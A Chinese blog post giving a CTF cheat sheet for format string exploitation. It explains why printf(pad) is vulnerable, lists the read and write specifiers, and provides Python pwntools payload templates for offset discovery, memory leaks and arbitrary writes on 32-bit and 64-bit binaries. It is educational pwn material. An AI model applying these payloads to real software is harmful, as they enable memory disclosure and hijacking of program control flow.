格式化字符串


格式化字符串漏洞的成因在于像printf/sprintf/snprintf等格式化打印函数都是接受可变参数的,而一旦程序编写不规范,比如正确的写法是:printf(“%s”, pad),偷懒写成了:printf(pad),此时就存在格式化字符串漏洞。

方法:在pwn题中遇到格式化字符串漏洞时,我们一般会分两大步实现漏洞利用:第一步构造一个payload来寻找输入字符串到栈顶指针的偏移;第二步就是攻击了,利用找到的偏移,在偏移处填入目的地址可以实现目的地址的内容泄露以及内容改写。

#!/usr/bin/python3

格式化符号说明

%x 以十六进制打印,只能打印4字节,一般只用于32位
%p 打印目标地址,建议32位和64位都用这个
%s 打印地址内容
%c 打印单个字符
%hhn 写一字节
%hn 写两字节
%n 写四字节
%ln 32位写四字节,64位写八字节
%lln 写八字节

#################### 32位

求偏移

pad = “aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p…”

泄露目标地址内容,假设偏移为offset

目标地址放前面

pad = p32(target_addr)+”%{}$s”.format(offset).encode(“ISO-8859-1”)

目标地址放后面

pad = “%{}$s”.format(offset+1).encode(“ISO-8859-1”)+p32(target_addr)

改写目标地址内容为value

目标地址放前面

pad = p32(target_addr)+”%{}c%{}$n”.format(value-4, offset).encode(“ISO-8859-1”)

目标地址放后面,注意ljust补位的字符和offset+idx的位置要对应

pad = “%{}c%{}$n”.format(value, offset+3).ljust(4*3, “a”).encode(“ISO-8859-1”)
pad += p32(target_addr)
####################
#################### 64位

求偏移

pad = “aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p…”

泄露目标地址内容,目标地址只能放后面,假设偏移为offset

pad = “%{}$s”.format(offset+1).ljust(8, “a”).encode(“ISO-8859-1”)+p64(target_addr)

改写目标地址内容为value

目标地址只能放后面,注意ljust补位的字符和offset+idx的位置要对应

pad = “%{}c%{}$lln”.format(value, offset+3).ljust(8*3, “a”).encode(“ISO-8859-1”)
pad += p64(target_addr)
####################
求偏移:
在格式化字符串漏洞利用中,我们一般都是这样手动构造payload进行偏移求解的。
地址泄露:
  第一种,其实在上面求偏移的过程中,就可以实现地址泄露了,下面举个例子,一般泄露传入程序的第一个参数也就是该程序名本身的地址,这是一个位于栈上的地址,通过计算和存储当前函数返回地址栈指针的偏移,成功找到指向返回地址的栈指针,最后再利用后面的任意地址写修改此处的值,实现程序流程控制。
任意地址写:
  在不使用FmtStr类时,我们一般是这样来实现任意地址写的,%{number}c表示写入的数,%{index}$n表示以偏移index位置的值为地址写入,其中n写入四字节,hn写入两字节,hhn写入单字节


文章作者: sinksank
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 sinksank !
评论
  目录